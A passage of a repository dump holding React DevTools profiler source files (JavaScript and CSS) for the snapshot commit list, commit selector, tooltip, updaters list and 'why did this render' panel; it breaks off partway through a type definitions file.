</div>\n      <div className={styles.Content} onKeyDown={handleKeyDown} tabIndex={0}>\n        {node != null && (\n          <InspectedElementBadges\n            hocDisplayNames={node.hocDisplayNames}\n            compiledWithForget={node.compiledWithForget}\n          />\n        )}\n        <WhatChanged fiberID={((selectedFiberID: any): number)} />\n        {listItems.length > 0 && (\n          <div>\n            <label className={styles.Label}>Rendered at: </label>\n            {listItems}\n          </div>\n        )}\n        {listItems.length === 0 && (\n          <div>Did not render on the client during this profiling session.</div>\n        )}\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitList.css",
    "content": ".List {\n  /**\n   * The decision to suppress the default (horizontal) scroll bars is intentional.\n   * The snapshot selector is small enough that the scrollbar renders it essentially useless.\n   * There are two alternative navigation mechanisms (arrow keys and arrow buttons).\n   * If necessary, we could also expand the click-and-drag mechanism to scroll.\n   */\n  overflow-x: hidden !important;\n}\n\n.Tooltip {\n  margin-top: 2.5rem;\n}\n\n.TooltipList {\n  list-style: none;\n  padding: 0;\n  margin: 0;\n}\n\n.TooltipListItem {\n  display: flex;\n}\n\n.TooltipLabel {\n  font-weight: bold;\n  margin-right: 0.25rem;\n}\n.TooltipLabel:after {\n  content: ':';\n}\n\n.TooltipValue {\n  flex-grow: 1;\n  text-align: end;\n}\n\n.DurationsWrapper {\n  flex-grow: 1;\n}\n\n.DurationsList {\n  list-style: none;\n  margin: 0 0 0 1rem;\n  padding: 0;\n}\n\n.DurationsListItem {\n  display: flex;\n}\n\n.DurationsLabel {\n  margin-right: 0.25rem;\n}\n.DurationsLabel:after {\n  content: ':';\n}\n\n.DurationsValue {\n  flex-grow: 1;\n  text-align: end;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitList.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {CommitDataFrontend} from './types';\n\nimport * as React from 'react';\nimport {useEffect, useMemo, useRef, useState} from 'react';\nimport AutoSizer from 'react-virtualized-auto-sizer';\nimport {FixedSizeList} from 'react-window';\nimport SnapshotCommitListItem from './SnapshotCommitListItem';\nimport {minBarWidth} from './constants';\nimport {formatDuration, formatTime} from './utils';\nimport Tooltip from './Tooltip';\n\nimport styles from './SnapshotCommitList.css';\n\nexport type ItemData = {\n  commitTimes: Array<number>,\n  filteredCommitIndices: Array<number>,\n  maxDuration: number,\n  selectedCommitIndex: number | null,\n  selectedFilteredCommitIndex: number | null,\n  selectCommitIndex: (index: number) => void,\n  setHoveredCommitIndex: (index: number) => void,\n  startCommitDrag: (newDragState: DragState) => void,\n  totalDurations: Array<number>,\n};\n\ntype Props = {\n  commitData: $ReadOnlyArray<CommitDataFrontend>,\n  commitTimes: Array<number>,\n  filteredCommitIndices: Array<number>,\n  selectedCommitIndex: number | null,\n  selectedFilteredCommitIndex: number | null,\n  selectCommitIndex: (index: number) => void,\n  totalDurations: Array<number>,\n};\n\nexport default function SnapshotCommitList({\n  commitData,\n  commitTimes,\n  filteredCommitIndices,\n  selectedCommitIndex,\n  selectedFilteredCommitIndex,\n  selectCommitIndex,\n  totalDurations,\n}: Props): React.Node {\n  return (\n    <AutoSizer>\n      {({height, width}) => (\n        <List\n          commitData={commitData}\n          commitTimes={commitTimes}\n          height={height}\n          filteredCommitIndices={filteredCommitIndices}\n          selectedCommitIndex={selectedCommitIndex}\n          selectedFilteredCommitIndex={selectedFilteredCommitIndex}\n          selectCommitIndex={selectCommitIndex}\n          totalDurations={totalDurations}\n          width={width}\n        />\n      )}\n    </AutoSizer>\n  );\n}\n\ntype ListProps = {\n  commitData: $ReadOnlyArray<CommitDataFrontend>,\n  commitTimes: Array<number>,\n  height: number,\n  filteredCommitIndices: Array<number>,\n  selectedCommitIndex: number | null,\n  selectedFilteredCommitIndex: number | null,\n  selectCommitIndex: (index: number) => void,\n  totalDurations: Array<number>,\n  width: number,\n};\n\ntype DragState = {\n  commitIndex: number,\n  left: number,\n  sizeIncrement: number,\n};\n\nfunction List({\n  commitData,\n  selectedCommitIndex,\n  commitTimes,\n  height,\n  filteredCommitIndices,\n  selectedFilteredCommitIndex,\n  selectCommitIndex,\n  totalDurations,\n  width,\n}: ListProps) {\n  // $FlowFixMe[incompatible-use]\n  const listRef = useRef<FixedSizeList<ItemData> | null>(null);\n  const divRef = useRef<HTMLDivElement | null>(null);\n  const prevCommitIndexRef = useRef<number | null>(null);\n\n  // Make sure a newly selected snapshot is fully visible within the list.\n  useEffect(() => {\n    if (selectedFilteredCommitIndex !== prevCommitIndexRef.current) {\n      prevCommitIndexRef.current = selectedFilteredCommitIndex;\n      if (selectedFilteredCommitIndex !== null && listRef.current !== null) {\n        listRef.current.scrollToItem(selectedFilteredCommitIndex);\n      }\n    }\n  }, [listRef, selectedFilteredCommitIndex]);\n\n  const itemSize = useMemo(\n    () => Math.max(minBarWidth, width / filteredCommitIndices.length),\n    [filteredCommitIndices, width],\n  );\n  const maxDuration = useMemo(\n    () => totalDurations.reduce((max, duration) => Math.max(max, duration), 0),\n    [totalDurations],\n  );\n\n  const maxCommitIndex = filteredCommitIndices.length - 1;\n\n  const [dragState, setDragState] = useState<DragState | null>(null);\n\n  const handleDragCommit = ({buttons, pageX}: any) => {\n    if (buttons === 0) {\n      setDragState(null);\n      return;\n    }\n\n    if (dragState !== null) {\n      const {commitIndex, left, sizeIncrement} = dragState;\n\n      let newCommitIndex = commitIndex;\n      let newCommitLeft = left;\n\n      if (pageX < newCommitLeft) {\n        while (pageX < newCommitLeft) {\n          newCommitLeft -= sizeIncrement;\n          newCommitIndex -= 1;\n        }\n      } else {\n        let newCommitRectRight = newCommitLeft + sizeIncrement;\n        while (pageX > newCommitRectRight) {\n          newCommitRectRight += sizeIncrement;\n          newCommitIndex += 1;\n        }\n      }\n\n      if (newCommitIndex < 0) {\n        newCommitIndex = 0;\n      } else if (newCommitIndex > maxCommitIndex) {\n        newCommitIndex = maxCommitIndex;\n      }\n\n      selectCommitIndex(newCommitIndex);\n    }\n  };\n\n  useEffect(() => {\n    if (dragState === null) {\n      return;\n    }\n\n    const element = divRef.current;\n    if (element !== null) {\n      const ownerDocument = element.ownerDocument;\n      ownerDocument.addEventListener('mousemove', handleDragCommit);\n      return () => {\n        ownerDocument.removeEventListener('mousemove', handleDragCommit);\n      };\n    }\n  }, [dragState]);\n\n  const [hoveredCommitIndex, setHoveredCommitIndex] = useState<number | null>(\n    null,\n  );\n\n  // Pass required contextual data down to the ListItem renderer.\n  const itemData = useMemo<ItemData>(\n    () => ({\n      commitTimes,\n      filteredCommitIndices,\n      maxDuration,\n      selectedCommitIndex,\n      selectedFilteredCommitIndex,\n      selectCommitIndex,\n      setHoveredCommitIndex,\n      startCommitDrag: setDragState,\n      totalDurations,\n    }),\n    [\n      commitTimes,\n      filteredCommitIndices,\n      maxDuration,\n      selectedCommitIndex,\n      selectedFilteredCommitIndex,\n      selectCommitIndex,\n      setHoveredCommitIndex,\n      totalDurations,\n    ],\n  );\n\n  let tooltipLabel = null;\n  if (hoveredCommitIndex !== null) {\n    const {\n      duration,\n      effectDuration,\n      passiveEffectDuration,\n      priorityLevel,\n      timestamp,\n    } = commitData[hoveredCommitIndex];\n\n    // Only some React versions include commit durations.\n    // Show a richer tooltip only for builds that have that info.\n    if (\n      effectDuration !== null ||\n      passiveEffectDuration !== null ||\n      priorityLevel !== null\n    ) {\n      tooltipLabel = (\n        <ul className={styles.TooltipList}>\n          {priorityLevel !== null && (\n            <li className={styles.TooltipListItem}>\n              <label className={styles.TooltipLabel}>Priority</label>\n              <span className={styles.TooltipValue}>{priorityLevel}</span>\n            </li>\n          )}\n          <li className={styles.TooltipListItem}>\n            <label className={styles.TooltipLabel}>Committed at</label>\n            <span className={styles.TooltipValue}>\n              {formatTime(timestamp)}s\n            </span>\n          </li>\n          <li className={styles.TooltipListItem}>\n            <div className={styles.DurationsWrapper}>\n              <label className={styles.TooltipLabel}>Durations</label>\n              <ul className={styles.DurationsList}>\n                <li className={styles.DurationsListItem}>\n                  <label className={styles.DurationsLabel}>Render</label>\n                  <span className={styles.DurationsValue}>\n                    {formatDuration(duration)}ms\n                  </span>\n                </li>\n                {effectDuration !== null && (\n                  <li className={styles.DurationsListItem}>\n                    <label className={styles.DurationsLabel}>\n                      Layout effects\n                    </label>\n                    <span className={styles.DurationsValue}>\n                      {formatDuration(effectDuration)}ms\n                    </span>\n                  </li>\n                )}\n                {passiveEffectDuration !== null && (\n                  <li className={styles.DurationsListItem}>\n                    <label className={styles.DurationsLabel}>\n                      Passive effects\n                    </label>\n                    <span className={styles.DurationsValue}>\n                      {formatDuration(passiveEffectDuration)}ms\n                    </span>\n                  </li>\n                )}\n              </ul>\n            </div>\n          </li>\n        </ul>\n      );\n    } else {\n      tooltipLabel = `${formatDuration(duration)}ms at ${formatTime(\n        timestamp,\n      )}s`;\n    }\n  }\n\n  return (\n    <Tooltip className={styles.Tooltip} label={tooltipLabel}>\n      <div\n        ref={divRef}\n        style={{height, width}}\n        onMouseLeave={() => setHoveredCommitIndex(null)}>\n        <FixedSizeList\n          className={styles.List}\n          layout=\"horizontal\"\n          height={height}\n          itemCount={filteredCommitIndices.length}\n          itemData={itemData}\n          itemSize={itemSize}\n          ref={(listRef: any) /* Flow bug? */}\n          width={width}>\n          {SnapshotCommitListItem}\n        </FixedSizeList>\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.css",
    "content": ".Outer {\n  user-select: none;\n  cursor: pointer;\n  border-bottom: 3px solid transparent;\n  padding-top: 4px;\n  padding-bottom: 1px;\n  display: flex;\n  align-items: flex-end;\n}\n.Outer:hover {\n  background-color: var(--color-background);\n}\n\n.Inner,\n.InnerSelected {\n  width: 100%;\n  min-height: 2px;\n  background-color: var(--color-commit-did-not-render-fill);\n  color: var(--color-commit-did-not-render-fill-text);\n}\n\n.InnerSelected {\n  background-color: var(--color-button-active);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {memo} from 'react';\nimport {areEqual} from 'react-window';\nimport {getGradientColor} from './utils';\n\nimport styles from './SnapshotCommitListItem.css';\n\nimport type {ItemData} from './SnapshotCommitList';\n\ntype Props = {\n  data: ItemData,\n  index: number,\n  style: Object,\n  ...\n};\n\nfunction SnapshotCommitListItem({data: itemData, index, style}: Props) {\n  const {\n    filteredCommitIndices,\n    maxDuration,\n    selectedCommitIndex,\n    selectCommitIndex,\n    setHoveredCommitIndex,\n    startCommitDrag,\n    totalDurations,\n  } = itemData;\n\n  index = filteredCommitIndices[index];\n\n  const totalDuration = totalDurations[index];\n\n  // Use natural cbrt for bar height.\n  // This prevents one (or a few) outliers from squishing the majority of other commits.\n  // So rather than e.g. _█_ we get something more like e.g. ▄█_\n  const heightScale =\n    Math.min(\n      1,\n      Math.max(0, Math.cbrt(totalDuration) / Math.cbrt(maxDuration)),\n    ) || 0;\n\n  // Use a linear scale for color.\n  // This gives some visual contrast between cheaper and more expensive commits\n  // and somewhat compensates for the cbrt scale height.\n  const colorScale = Math.min(1, Math.max(0, totalDuration / maxDuration)) || 0;\n\n  const isSelected = selectedCommitIndex === index;\n\n  // Leave a 1px gap between snapshots\n  const width = parseFloat(style.width) - 1;\n\n  const handleMouseDown = ({buttons, target}: any) => {\n    if (buttons === 1) {\n      selectCommitIndex(index);\n      startCommitDrag({\n        commitIndex: index,\n        left: target.getBoundingClientRect().left,\n        sizeIncrement: parseFloat(style.width),\n      });\n    }\n  };\n\n  let backgroundColor;\n  if (!isSelected && totalDuration > 0) {\n    backgroundColor = getGradientColor(colorScale);\n  }\n\n  return (\n    <div\n      className={styles.Outer}\n      onMouseDown={handleMouseDown}\n      onMouseEnter={() => setHoveredCommitIndex(index)}\n      style={{\n        ...style,\n        width,\n        borderBottom: isSelected\n          ? '3px solid var(--color-tab-selected-border)'\n          : undefined,\n      }}>\n      <div\n        className={isSelected ? styles.InnerSelected : styles.Inner}\n        style={{\n          height: `${Math.round(heightScale * 100)}%`,\n          backgroundColor,\n        }}\n      />\n    </div>\n  );\n}\n\nexport default (memo(SnapshotCommitListItem, areEqual): component(\n  ...props: Props\n));\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.css",
    "content": ".Button {\n  flex: 0 0 auto;\n  margin-left: 0.25rem;\n}\n\n.Commits {\n  height: 100%;\n  min-width: 30px;\n  margin-left: 0.25rem;\n  overflow: visible;\n}\n.Commits:focus {\n  outline: none;\n  background-color: var(--color-button-background-focus);\n}\n\n.IndexLabel {\n  flex: 0 0 auto;\n  white-space: nowrap;\n  font-family: var(--font-family-monospace);\n  margin-left: 0.25rem;\n}\n\n.NoCommits {\n  height: 100%;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  color: var(--color-dim);\n}\n\n.Input {\n  background: none;\n  font-size: var(--font-size-sans-normal);\n  text-align: right;\n  font-family: var(--font-family-monospace);\n  border: 1px solid transparent;\n  border-radius: 0.125rem;\n  padding: 0.125rem;\n  color: var(--color-attribute-editable-value);\n}\n\n.Input:focus {\n  background-color: var(--color-button-background-focus);\n  outline: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {ProfilerContext} from './ProfilerContext';\nimport SnapshotCommitList from './SnapshotCommitList';\nimport {maxBarWidth} from './constants';\nimport {StoreContext} from '../context';\n\nimport styles from './SnapshotSelector.css';\n\nexport type Props = {};\n\nexport default function SnapshotSelector(_: Props): React.Node {\n  const {\n    rootID,\n    selectedCommitIndex,\n    selectCommitIndex,\n    selectPrevCommitIndex,\n    selectNextCommitIndex,\n    filteredCommitIndices,\n    selectedFilteredCommitIndex,\n  } = useContext(ProfilerContext);\n\n  const {profilerStore} = useContext(StoreContext);\n  const {commitData} = profilerStore.getDataForRoot(((rootID: any): number));\n\n  const totalDurations: Array<number> = [];\n  const commitTimes: Array<number> = [];\n  commitData.forEach(commitDatum => {\n    totalDurations.push(\n      commitDatum.duration +\n        (commitDatum.effectDuration || 0) +\n        (commitDatum.passiveEffectDuration || 0),\n    );\n    commitTimes.push(commitDatum.timestamp);\n  });\n\n  const numFilteredCommits = filteredCommitIndices.length;\n\n  let label = null;\n  if (numFilteredCommits > 0) {\n    // $FlowFixMe[missing-local-annot]\n    const handleCommitInputChange = event => {\n      const value = parseInt(event.currentTarget.value, 10);\n      if (!isNaN(value)) {\n        const filteredIndex = Math.min(\n          Math.max(value - 1, 0),\n\n          // Snashots are shown to the user as 1-based\n          // but the indices within the profiler data array ar 0-based.\n          numFilteredCommits - 1,\n        );\n        selectCommitIndex(filteredCommitIndices[filteredIndex]);\n      }\n    };\n\n    // $FlowFixMe[missing-local-annot]\n    const handleClick = event => {\n      event.currentTarget.select();\n    };\n\n    // $FlowFixMe[missing-local-annot]\n    const handleKeyDown = event => {\n      switch (event.key) {\n        case 'ArrowDown':\n          selectPrevCommitIndex();\n          event.stopPropagation();\n          break;\n        case 'ArrowUp':\n          selectNextCommitIndex();\n          event.stopPropagation();\n          break;\n        default:\n          break;\n      }\n    };\n\n    const input = (\n      <input\n        className={styles.Input}\n        data-testname=\"SnapshotSelector-Input\"\n        type=\"text\"\n        inputMode=\"numeric\"\n        pattern=\"[0-9]*\"\n        value={\n          // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n          selectedFilteredCommitIndex + 1\n        }\n        size={`${numFilteredCommits}`.length}\n        onChange={handleCommitInputChange}\n        onClick={handleClick}\n        onKeyDown={handleKeyDown}\n      />\n    );\n\n    label = (\n      <Fragment>\n        {input} / {numFilteredCommits}\n      </Fragment>\n    );\n  }\n\n  // $FlowFixMe[missing-local-annot]\n  const handleKeyDown = event => {\n    switch (event.key) {\n      case 'ArrowLeft':\n        selectPrevCommitIndex();\n        event.stopPropagation();\n        break;\n      case 'ArrowRight':\n        selectNextCommitIndex();\n        event.stopPropagation();\n        break;\n      default:\n        break;\n    }\n  };\n\n  if (commitData.length === 0) {\n    return null;\n  }\n\n  return (\n    <Fragment>\n      <span\n        className={styles.IndexLabel}\n        data-testname=\"SnapshotSelector-Label\">\n        {label}\n      </span>\n      <Button\n        className={styles.Button}\n        data-testname=\"SnapshotSelector-PreviousButton\"\n        disabled={numFilteredCommits === 0}\n        onClick={selectPrevCommitIndex}\n        title=\"Select previous commit ←\">\n        <ButtonIcon type=\"previous\" />\n      </Button>\n      <div\n        className={styles.Commits}\n        onKeyDown={handleKeyDown}\n        style={{\n          flex: numFilteredCommits > 0 ? '1 1 auto' : '0 0 auto',\n          maxWidth:\n            numFilteredCommits > 0\n              ? numFilteredCommits * maxBarWidth\n              : undefined,\n        }}\n        tabIndex={0}>\n        {numFilteredCommits > 0 && (\n          <SnapshotCommitList\n            commitData={commitData}\n            commitTimes={commitTimes}\n            filteredCommitIndices={filteredCommitIndices}\n            selectedCommitIndex={selectedCommitIndex}\n            selectedFilteredCommitIndex={selectedFilteredCommitIndex}\n            selectCommitIndex={selectCommitIndex}\n            totalDurations={totalDurations}\n          />\n        )}\n        {numFilteredCommits === 0 && (\n          <div className={styles.NoCommits}>No commits</div>\n        )}\n      </div>\n      <Button\n        className={styles.Button}\n        data-testname=\"SnapshotSelector-NextButton\"\n        disabled={numFilteredCommits === 0}\n        onClick={selectNextCommitIndex}\n        title=\"Select next commit →\">\n        <ButtonIcon type=\"next\" />\n      </Button>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.css",
    "content": ".Tooltip {\n  position: absolute;\n  pointer-events: none;\n  border: none;\n  border-radius: 0.25rem;\n  padding: 0.25rem 0.5rem;\n  font-family: var(--font-family-sans);\n  font-size: 12px;\n  background-color: var(--color-tooltip-background);\n  color: var(--color-tooltip-text);\n  opacity: 1;\n  white-space: nowrap;\n  /* Make sure this is above the DevTools, which are above the Overlay */\n  z-index: 10000002;\n}\n\n.Tooltip.hidden {\n  opacity: 0;\n}\n\n\n.Container {\n  width: -moz-max-content;\n  width: -webkit-max-content;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.js",
    "content": "/** @flow */\n\nimport * as React from 'react';\nimport {useRef} from 'react';\n\nimport styles from './Tooltip.css';\nimport typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\nconst initialTooltipState = {height: 0, mouseX: 0, mouseY: 0, width: 0};\n\nexport default function Tooltip({\n  children,\n  className,\n  label,\n  style,\n}: any): React.Node {\n  const containerRef = useRef(null);\n  const tooltipRef = useRef(null);\n\n  // update the position of the tooltip based on current mouse position\n  const updateTooltipPosition = (event: SyntheticMouseEvent) => {\n    const element = tooltipRef.current;\n    if (element != null) {\n      // first find the mouse position\n      const mousePosition = getMousePosition(containerRef.current, event);\n      // use the mouse position to find the position of tooltip\n      const {left, top} = getTooltipPosition(element, mousePosition);\n      // update tooltip position\n      element.style.left = left;\n      element.style.top = top;\n    }\n  };\n\n  const onMouseMove = (event: SyntheticMouseEvent) => {\n    updateTooltipPosition(event);\n  };\n\n  const tooltipClassName = label === null ? styles.hidden : '';\n\n  return (\n    <div\n      className={styles.Container}\n      onMouseMove={onMouseMove}\n      ref={containerRef}>\n      <div\n        className={`${styles.Tooltip} ${tooltipClassName} ${className || ''}`}\n        ref={tooltipRef}\n        style={style}>\n        {label}\n      </div>\n      {children}\n    </div>\n  );\n}\n\nconst TOOLTIP_OFFSET = 5;\n\n// Method used to find the position of the tooltip based on current mouse position\nfunction getTooltipPosition(\n  element: empty,\n  mousePosition: {\n    height: number,\n    mouseX: number,\n    mouseY: number,\n    width: number,\n  },\n): {left: string, top: string} {\n  const {height, mouseX, mouseY, width} = mousePosition;\n  let top: number | string = 0;\n  let left: number | string = 0;\n\n  if (mouseY + TOOLTIP_OFFSET + element.offsetHeight >= height) {\n    if (mouseY - TOOLTIP_OFFSET - element.offsetHeight > 0) {\n      top = `${mouseY - element.offsetHeight - TOOLTIP_OFFSET}px`;\n    } else {\n      top = '0px';\n    }\n  } else {\n    top = `${mouseY + TOOLTIP_OFFSET}px`;\n  }\n\n  if (mouseX + TOOLTIP_OFFSET + element.offsetWidth >= width) {\n    if (mouseX - TOOLTIP_OFFSET - element.offsetWidth > 0) {\n      left = `${mouseX - element.offsetWidth - TOOLTIP_OFFSET}px`;\n    } else {\n      left = '0px';\n    }\n  } else {\n    left = `${mouseX + TOOLTIP_OFFSET * 2}px`;\n  }\n\n  return {left, top};\n}\n\n// method used to find the current mouse position inside the container\nfunction getMousePosition(\n  relativeContainer: null,\n  mouseEvent: SyntheticMouseEvent,\n) {\n  if (relativeContainer !== null) {\n    // Position within the nearest position:relative container.\n    let targetContainer = relativeContainer;\n    while (targetContainer.parentElement != null) {\n      if (targetContainer.style.position === 'relative') {\n        break;\n      } else {\n        targetContainer = targetContainer.parentElement;\n      }\n    }\n\n    const {height, left, top, width} =\n      targetContainer.getBoundingClientRect() as {\n        height: number,\n        left: number,\n        top: number,\n        width: number,\n      };\n\n    const mouseX = mouseEvent.clientX - left;\n    const mouseY = mouseEvent.clientY - top;\n\n    return {height, mouseX, mouseY, width};\n  } else {\n    return initialTooltipState;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Updaters.css",
    "content": ".Updaters {\n  margin: 0 0 0.5rem;\n}\n\n.NoUpdaters,\n.Updater,\n.UnmountedUpdater {\n  display: block;\n  width: 100%;\n  text-align: left;\n  background: none;\n  border: none;\n  padding: 0.25rem 0.5rem;\n  color: var(--color-text);\n}\n.Updater:focus,\n.Updater:hover {\n  outline: none;\n  background-color: var(--color-background-hover);\n}\n\n.NoUpdaters,\n.UnmountedUpdater {\n  color: var(--color-dim);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Updaters.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {CommitTree} from './types';\nimport type {SerializedElement} from 'react-devtools-shared/src/frontend/types';\n\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport {ProfilerContext} from './ProfilerContext';\nimport styles from './Updaters.css';\nimport {ElementTypeRoot} from '../../../frontend/types';\n\nexport type Props = {\n  commitTree: CommitTree,\n  updaters: Array<SerializedElement>,\n};\n\nexport default function Updaters({commitTree, updaters}: Props): React.Node {\n  const {selectFiber} = useContext(ProfilerContext);\n\n  const children =\n    updaters.length > 0 ? (\n      updaters.map((serializedElement: SerializedElement): React$Node => {\n        const {displayName, id, key, type} = serializedElement;\n        const isVisibleInTree =\n          commitTree.nodes.has(id) && type !== ElementTypeRoot;\n        if (isVisibleInTree) {\n          return (\n            <button\n              key={id}\n              className={styles.Updater}\n              onClick={() => selectFiber(id, displayName)}>\n              {displayName} {key ? `key=\"${key}\"` : ''}\n            </button>\n          );\n        } else {\n          return (\n            <div key={id} className={styles.UnmountedUpdater}>\n              {displayName} {key ? `key=\"${key}\"` : ''}\n            </div>\n          );\n        }\n      })\n    ) : (\n      <div key=\"none\" className={styles.NoUpdaters}>\n        (unknown)\n      </div>\n    );\n\n  return <div className={styles.Updaters}>{children}</div>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.css",
    "content": ".Item {\n  margin-top: 0.25rem;\n}\n\n.Key {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n  line-height: 1;\n}\n\n.Key:first-of-type::before {\n  content: ' (';\n}\n\n.Key::after {\n  content: ', ';\n}\n\n.Key:last-of-type::after {\n  content: ')';\n}\n\n.Label {\n  font-weight: bold;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\n\nimport {ProfilerContext} from './ProfilerContext';\nimport {StoreContext} from '../context';\n\nimport styles from './WhatChanged.css';\nimport HookChangeSummary from './HookChangeSummary';\n\ntype Props = {\n  fiberID: number,\n  displayMode?: 'detailed' | 'compact',\n};\n\nexport default function WhatChanged({\n  fiberID,\n  displayMode = 'detailed',\n}: Props): React.Node {\n  const {profilerStore} = useContext(StoreContext);\n  const {rootID, selectedCommitIndex} = useContext(ProfilerContext);\n\n  // TRICKY\n  // Handle edge case where no commit is selected because of a min-duration filter update.\n  // If the commit index is null, suspending for data below would throw an error.\n  // TODO (ProfilerContext) This check should not be necessary.\n  if (selectedCommitIndex === null) {\n    return null;\n  }\n\n  const {changeDescriptions} = profilerStore.getCommitData(\n    ((rootID: any): number),\n    selectedCommitIndex,\n  );\n\n  if (changeDescriptions === null) {\n    return null;\n  }\n\n  const changeDescription = changeDescriptions.get(fiberID);\n  if (changeDescription == null) {\n    return null;\n  }\n\n  const {context, didHooksChange, hooks, isFirstMount, props, state} =\n    changeDescription;\n\n  if (isFirstMount) {\n    return (\n      <div className={styles.Component}>\n        <label className={styles.Label}>Why did this render?</label>\n        <div className={styles.Item}>\n          This is the first time the component rendered.\n        </div>\n      </div>\n    );\n  }\n\n  const changes = [];\n\n  if (context === true) {\n    changes.push(\n      <div key=\"context\" className={styles.Item}>\n        • Context changed\n      </div>,\n    );\n  } else if (\n    typeof context === 'object' &&\n    context !== null &&\n    context.length !== 0\n  ) {\n    changes.push(\n      <div key=\"context\" className={styles.Item}>\n        • Context changed:\n        {context.map(key => (\n          <span key={key} className={styles.Key}>\n            {key}\n          </span>\n        ))}\n      </div>,\n    );\n  }\n\n  if (didHooksChange) {\n    if (Array.isArray(hooks)) {\n      changes.push(\n        <div key=\"hooks\" className={styles.Item}>\n          <HookChangeSummary\n            hooks={hooks}\n            fiberID={fiberID}\n            state={state}\n            displayMode={displayMode}\n          />\n        </div>,\n      );\n    } else {\n      changes.push(\n        <div key=\"hooks\" className={styles.Item}>\n          • Hooks changed\n        </div>,\n      );\n    }\n  }\n\n  if (props !== null && props.length !== 0) {\n    changes.push(\n      <div key=\"props\" className={styles.Item}>\n        • Props changed:\n        {props.map(key => (\n          <span key={key} className={styles.Key}>\n            {key}\n          </span>\n        ))}\n      </div>,\n    );\n  }\n\n  if (state !== null && state.length !== 0) {\n    changes.push(\n      <div key=\"state\" className={styles.Item}>\n        • State changed:\n        {state.map(key => (\n          <span key={key} className={styles.Key}>\n            {key}\n          </span>\n        ))}\n      </div>,\n    );\n  }\n\n  if (changes.length === 0) {\n    changes.push(\n      <div key=\"nothing\" className={styles.Item}>\n        The parent component rendered.\n      </div>,\n    );\n  }\n\n  return (\n    <div>\n      <label className={styles.Label}>Why did this render?</label>\n      {changes}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const barWidthThreshold = 2;\nexport const maxBarWidth = 30;\nexport const minBarWidth = 5;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ElementType,\n  SerializedElement,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  TimelineData,\n  TimelineDataExport,\n} from 'react-devtools-timeline/src/types';\n\nexport type CommitTreeNode = {\n  id: number,\n  children: Array<number>,\n  displayName: string | null,\n  hocDisplayNames: Array<string> | null,\n  key: number | string | null,\n  parentID: number,\n  treeBaseDuration: number,\n  type: ElementType,\n  // If component is compiled with Forget, the backend will send its name as Forget(...)\n  // Later, on the frontend side, we will strip HOC names and Forget prefix.\n  compiledWithForget: boolean,\n};\n\nexport type CommitTree = {\n  nodes: Map<number, CommitTreeNode>,\n  rootID: number,\n};\n\nexport type SnapshotNode = {\n  id: number,\n  children: Array<number>,\n  displayName: string | null,\n  hocDisplayNames: Array<string> | null,\n  key: number | string | null,\n  type: ElementType,\n  // If component is compiled with Forget, the backend will send its name as Forget(...)\n  // Later, on the frontend side, we will strip HOC names and Forget prefix.\n  compiledWithForget: boolean,\n};\n\nexport type ChangeDescription = {\n  context: Array<string> | boolean | null,\n  didHooksChange: boolean,\n  isFirstMount: boolean,\n  props: Array<string> | null,\n  state: Array<string> | null,\n  hooks?: Array<number> | null,\n};\n\nexport type CommitDataFrontend = {\n  // Map of Fiber (ID) to a description of what changed in this commit.\n  changeDescriptions: Map<number, ChangeDescription> | null,\n\n  // How long was the render phase?\n  duration: number,\n\n  // How long was the layout commit phase?\n  // Note that not all builds of React expose this property.\n  effectDuration: number | 